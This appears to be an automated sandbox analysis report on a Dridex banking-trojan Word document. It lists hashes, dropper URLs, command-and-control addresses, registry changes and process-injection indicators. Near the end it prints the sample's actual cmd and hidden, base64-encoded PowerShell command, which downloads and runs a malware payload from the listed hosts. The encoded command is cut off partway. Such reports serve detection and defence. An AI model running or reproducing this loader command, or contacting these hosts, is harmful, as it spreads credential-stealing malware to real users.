dridex | 0144312afb25e3dbef3ef44e2802c3bbd93527eea90ea8d325c7e8193e57d9c4

General

Target

Inv.Docum.559488870.doc
Size

215KB
MD5

00a2b86ce0838d196772467738cbf883
SHA1

fd9d7e35c7b1ad644d1970bb6ac4e184171486f4
SHA256

0144312afb25e3dbef3ef44e2802c3bbd93527eea90ea8d325c7e8193e57d9c4
SHA512

da97703e140912d396a950aad0a971fb6cd6e0f2e27d29a8009048b8cd29a9f3ee8c87e886dd460f915ada9235152168666c0556b148bfa4d9d306fe8eadeb3a

Score

10^/10

dridex 10555 botnet discovery evasion loader trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://findqualityparts.com/kr44dt.zip

exe.dropper

https://saelectronicstrading.com/dekkp2ciq.zip

exe.dropper

http://loftkultur.binkhalidinternational.com/hh7lww450.zip

exe.dropper

http://excursoesdeinhamais.resultaweb.com.br/edyk3dbr.zip

exe.dropper

http://vibeautospa.com/xm9d9i.zip

exe.dropper

https://greeninvestconsulting.com/c51qtl1uf.zip

exe.dropper

https://owl-squad.com/icg2mmdqx.zip

Extracted

Family

dridex

Botnet

10555

C2

104.131.164.93:443

46.101.90.205:4643

27.254.174.84:4443

92.94.251.127:3786

rc4.plain

Signatures

Dridex
Dridex(known as Bugat/Cridex) is a form of malware that specializes in stealing bank credentials.
botnet dridex
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 896 1840 cmd.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	896	1840	cmd.exe

Dridex Loader 1 IoCs

Detects Dridex both x86 and x64 loader in memory.

botnet loader

Processes:

resource	yara_rule
behavioral1/memory/1696-21-0x0000000000730000-0x000000000076D000-memory.dmp	dridex_ldr

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

5 1112 powershell.exe
7 1112 powershell.exe
9 1696 rundll32.exe
11 1696 rundll32.exe
Loads dropped DLL 4 IoCs

Processes:

rundll32.exe

pid process

1696 rundll32.exe
1696 rundll32.exe
1696 rundll32.exe
1696 rundll32.exe
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

rundll32.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA rundll32.exe

flow	pid	process
5	1112	powershell.exe
7	1112	powershell.exe
9	1696	rundll32.exe
11	1696	rundll32.exe

pid	process
1696	rundll32.exe
1696	rundll32.exe
1696	rundll32.exe
1696	rundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	rundll32.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE

Modifies registry class 280 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\ = "MultiPageEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\ = "Tab"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\ = "_UserForm"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\ = "FormEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{4C599243-6926-101B-9992-00000B65C6F9}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\TypeLib\{340E0B15-794B-400E-8906-A40B49675F1B}\2.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\MSForms.exd"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}\ = "IReturnEffect"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\TypeLib\{340E0B15-794B-400E-8906-A40B49675F1B}\2.0	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcOptionButton"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents3"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcText"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}\ = "IReturnString"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\TypeLib\{340E0B15-794B-400E-8906-A40B49675F1B}\2.0\ = "Microsoft Forms 2.0 Object Library"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

596 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1112 powershell.exe
1112 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1112 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

596 WINWORD.EXE
596 WINWORD.EXE

pid	process
596	WINWORD.EXE

pid	process
1112	powershell.exe
1112	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1112	powershell.exe

pid	process
596	WINWORD.EXE
596	WINWORD.EXE

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

cmd.exepowershell.exerundll32.exe

description	pid	process	target process
PID 896 wrote to memory of 396	896	cmd.exe	msg.exe
PID 896 wrote to memory of 396	896	cmd.exe	msg.exe
PID 896 wrote to memory of 396	896	cmd.exe	msg.exe
PID 896 wrote to memory of 1112	896	cmd.exe	powershell.exe
PID 896 wrote to memory of 1112	896	cmd.exe	powershell.exe
PID 896 wrote to memory of 1112	896	cmd.exe	powershell.exe
PID 1112 wrote to memory of 436	1112	powershell.exe	rundll32.exe
PID 1112 wrote to memory of 436	1112	powershell.exe	rundll32.exe
PID 1112 wrote to memory of 436	1112	powershell.exe	rundll32.exe
PID 436 wrote to memory of 1696	436	rundll32.exe	rundll32.exe
PID 436 wrote to memory of 1696	436	rundll32.exe	rundll32.exe
PID 436 wrote to memory of 1696	436	rundll32.exe	rundll32.exe
PID 436 wrote to memory of 1696	436	rundll32.exe	rundll32.exe
PID 436 wrote to memory of 1696	436	rundll32.exe	rundll32.exe
PID 436 wrote to memory of 1696	436	rundll32.exe	rundll32.exe
PID 436 wrote to memory of 1696	436	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Inv.Docum.559488870.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:596

C:\Windows\system32\cmd.exe
cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD cwBFAHQALQB2AEEAcgBpAGEAQgBsAGUAIAAgACgAJwBXAHoAJwArACcAcAAnACkAIAAgACgAIAAgAFsAVABZAHAARQBdACgAIgB7ADMAfQB7ADEAfQB7ADQAfQB7ADAAfQB7ADIAfQAiAC0ARgAgACcAcgAnACwAJwBpAE8ALgBEACcALAAnAGUAQwB0AE8AcgB5ACcALAAnAFMAWQBTAHQARQBtAC4AJwAsACcAaQAnACkAIAApADsAUwBFAHQALQBJAFQARQBNACAAIAAoACIAVgBBAFIAIgArACIAaQBBAEIATABlADoASwBRAEQAMwAiACsAIgBvAFAAIgApACAAIAAoACAAWwBUAHkAcABlAF0AKAAiAHsAMAB9AHsANAB9AHsAMwB9AHsAMgB9AHsAMQB9ACIALQBGACcAcwBZAFMAJwAsACcAaQBuAHQAbQBBAG4AQQBnAGUAcgAnACwAJwBlAHAAbwAnACwAJwBpAEMAJwAsACcAVABlAG0ALgBuAEUAVAAuAHMAZQByAFYAJwApACkAIAAgADsAIAAgACQATwA3AGIAMgB5AGUAcwA9ACgAKAAnAEYAJwArACcANQB6ADAAJwApACsAJwBwACcAKwAnAGsAZQAnACkAOwAkAEcAMgBkAGgAcwBvADgAPQAkAEoAYwBxAHQANgBwAGkAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEgAaQA1AGoAdwBoAG0AOwAkAEoANgB5AHcAbQBmADMAPQAoACcARwA4ACcAKwAoACcAeAA2AG0AYwAnACsAJwBrACcAKQApADsAIAAgACgARwBlAFQALQBpAFQAZQBtACAAIAAoACcAdgBhAHIAaQAnACsAJwBBAGIAJwArACcAbABlADoAJwArACcAVwBaAHAAJwApACAAKQAuAFYAYQBsAFUAZQA6ADoAIgBDAGAAUgBFAEEAdABlAGAARABpAHIAZQBgAGMAVABvAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAEsAJwArACcAbAAnACsAKAAnAGYASAAnACsAJwAyACcAKQArACgAJwBzADYAeQAnACsAJwBiACcAKQArACgAJwBhAEsAJwArACcAbABmAEwAJwApACsAJwBnACcAKwAnAHEAJwArACgAJwB3AGEAYgBuACcAKwAnAEsAbABmACcAKQApAC4AIgByAGAAZQBgAFAAbABBAGMARQAiACgAKAAnAEsAbAAnACsAJwBmACcAKQAsAFsAUwBUAFIASQBOAEcAXQBbAGMAaABhAFIAXQA5ADIAKQApACkAOwAkAEIAdABqADAAdwA2AG8APQAoACgAJwBRACcAKwAnAHcAcgBxACcAKQArACgAJwBsACcAKwAnAGoAXwAnACkAKQA7ACAAIAAkAGsAcQBkADMAbwBwADoAOgAiAHMARQBjAFUAUgBgAGkAdABgAFkAYABQAHIAYABPAFQATwBjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQATQBzAHcAdQB3AHMAdgA9ACgAKAAnAEgAawAnACsAJwBrACcAKQArACgAJwA5ADMAJwArACcAbwAnACkAKwAnAGQAJwApADsAJABNAGsAOQBrAHAAYgA0ACAAPQAgACgAKAAnAFkAeABoAGQAJwArACcAMAAnACkAKwAnAG4AJwApADsAJABOAHIAdABfADIAegBsAD0AKAAnAFoAJwArACcAOQB4ACcAKwAoACcAbgA1AHEAJwArACcAMgAnACkAKQA7ACQATwA5AGIAeQBtAHYAcQA9ACgAJwBHAHMAJwArACgAJwBqACcAKwAnAHMAeQBjADgAJwApACkAOwAkAEgAagBzADEAagBtAGoAPQAkAEgATwBNAEUAKwAoACgAJwB5ACcAKwAoACcAZgAnACsAJwBBAEgAMgBzADYAJwArACcAeQAnACkAKwAnAGIAYQAnACsAJwB5AGYAJwArACgAJwBBACcAKwAnAEwAZwAnACkAKwAnAHEAdwAnACsAKAAnAGEAYgBuACcAKwAnAHkAZgAnACsAJwBBACcAKQApAC4AIgBSAGAARQBQAGwAYQBgAGMAZQAiACgAKABbAEMAaABBAHIAXQAxADIAMQArAFsAQwBoAEEAcgBdADEAMAAyACsAWwBDAGgAQQByAF0ANgA1ACkALABbAHMAVABSAEkATgBHAF0AWwBDAGgAQQByAF0AOQAyACkAKQArACQATQBrADkAawBwAGIANAArACgAJwAuACcAKwAoACcAZABsACcAKwAnAGwAJwApACkAOwAkAEMAOABkAGMAYwBzADYAPQAoACcAWgBwACcAKwAoACcAbABhAGUAYQAnACsAJwBqACcAKQApADsAJABGADkAMwAyADYAcwAzAD0AbgBFAFcAYAAtAE8AYABCAGoAYABFAEMAVAAgAG4ARQBUAC4AVwBFAGIAYwBMAGkAZQBOAFQAOwAkAFAANAAzAHQAYgB3AG8APQAoACgAKAAoACcAaAAnACsAJwB0AHQAcAAnACsAJwBzADoAcQAnACsAJwBhACkAKAA2ACcAKQApACsAKAAoACcANwApACcAKwAnACgAcQAnACsAJwBhACkAKAAnACkAKQArACgAKAAnADYAJwArACcANwApACgAZgAnACkAKQArACgAJwBpAG4AJwArACcAZABxACcAKwAnAHUAYQBsAGkAdAB5ACcAKwAnAHAAJwApACsAKAAnAGEAcgAnACsAJwB0ACcAKQArACgAJwBzACcAKwAnAC4AYwBvAG0AJwApACsAKAAoACcAcQBhACkAKAAnACsAJwA2ADcAJwApACkAKwAoACgAJwApACgAawAnACsAJwByADQAJwArACcANABkAHQAJwApACkAKwAoACcALgB6AGkAJwArACcAcABAAGgAJwArACcAdAB0AHAAcwA6ACcAKwAnAHEAYQAnACkAKwAoACgAJwApACcAKwAnACgANgAnACkAKQArACgAKAAnADcAKQAnACsAJwAoACcAKQApACsAJwBxACcAKwAoACgAJwBhACkAJwArACcAKAA2ACcAKQApACsAKAAoACcANwApACcAKQApACsAKAAoACcAKABzAGEAZQAnACsAJwBsACcAKQApACsAKAAnAGUAYwAnACsAJwB0AHIAbwBuAGkAYwAnACsAJwBzAHQAcgBhAGQAaQBuACcAKwAnAGcALgBjACcAKQArACgAKAAnAG8AbQBxAGEAJwArACcAKQAoADYAJwArACcANwApACgAJwApACkAKwAnAGQAZQAnACsAJwBrAGsAJwArACgAJwBwADIAYwAnACsAJwBpACcAKwAnAHEALgB6AGkAcABAAGgAJwApACsAJwB0ACcAKwAoACgAJwB0AHAAJwArACcAOgBxAGEAKQAnACkAKQArACgAKAAnACgANgA3ACcAKwAnACkAKAAnACsAJwBxAGEAKQAoADYANwApACgAbABvACcAKQApACsAKAAnAGYAdAAnACsAJwBrAHUAbAAnACkAKwAnAHQAdQAnACsAKAAnAHIALgBiACcAKwAnAGkAbgBrAGgAJwArACcAYQBsACcAKQArACcAaQAnACsAJwBkAGkAJwArACgAJwBuAHQAZQAnACsAJwByAG4AJwApACsAKAAoACcAYQAnACsAJwB0AGkAbwBuACcAKwAnAGEAJwArACcAbAAuAGMAJwArACcAbwBtAHEAYQAnACsAJwApACgANgAnACsAJwA3ACkAKABoAGgANwBsAHcAJwApACkAKwAnAHcAJwArACcANAA1ACcAKwAoACcAMAAnACsAJwAuAHoAaQBwACcAKQArACgAKAAnAEAAaAB0AHQAcAA6ACcAKwAnAHEAYQAnACsAJwApACcAKQApACsAKAAnACgAJwArACcANgA3ACkAJwApACsAJwAoACcAKwAoACgAJwBxAGEAKQAoACcAKwAnADYAJwArACcANwApACcAKwAnACgAZQB4ACcAKwAnAGMAdQByAHMAbwBlACcAKQApACsAKAAnAHMAJwArACcAZABlACcAKQArACgAJwBpAG4AaABhAG0AYQAnACsAJwBpACcAKwAnAHMALgByACcAKQArACgAJwBlAHMAJwArACcAdQBsACcAKwAnAHQAYQB3AGUAJwArACcAYgAuACcAKwAnAGMAbwBtAC4AJwApACsAJwBiACcAKwAoACgAJwByACcAKwAnAHEAYQApACgANgA3ACcAKwAnACkAJwArACcAKABlAGQAJwArACcAeQBrACcAKQApACsAKAAnADMAJwArACcAZABiAHIAJwApACsAKAAoACcALgAnACsAJwB6AGkAcABAACcAKwAnAGgAdAB0AHAAOgBxAGEAKQAnACsAJwAoADYAJwApACkAKwAoACgAJwA3ACcAKwAnACkAKAAnACkAKQArACgAKAAnAHEAJwArACcAYQApACgAJwApACkAKwAoACgAJwA2ACcAKwAnADcAKQAoACcAKQApACsAKAAnAHYAJwArACcAaQBiACcAKQArACgAJwBlACcAKwAnAGEAdQB0AG8AcwBwAGEALgAnACsAJwBjACcAKQArACcAbwAnACsAKAAoACcAbQBxACcAKwAnAGEAKQAoACcAKQApACsAKAAoACcANgA3ACkAKAB4ACcAKwAnAG0AJwApACkAKwAoACcAOQAnACsAJwBkADkAaQAuAHoAJwApACsAKAAnAGkAcABAACcAKwAnAGgAdAB0ACcAKQArACcAcABzACcAKwAoACgAJwA6AHEAJwArACcAYQApACgAJwApACkAKwAnADYAJwArACgAKAAnADcAKQAoACcAKwAnAHEAYQAnACsAJwApACcAKQApACsAJwAoACcAKwAoACgAJwA2ACcAKwAnADcAKQAoACcAKQApACsAJwBnACcAKwAoACgAJwByAGUAZQBuACcAKwAnAGkAbgB2ACcAKwAnAGUAcwB0ACcAKwAnAGMAbw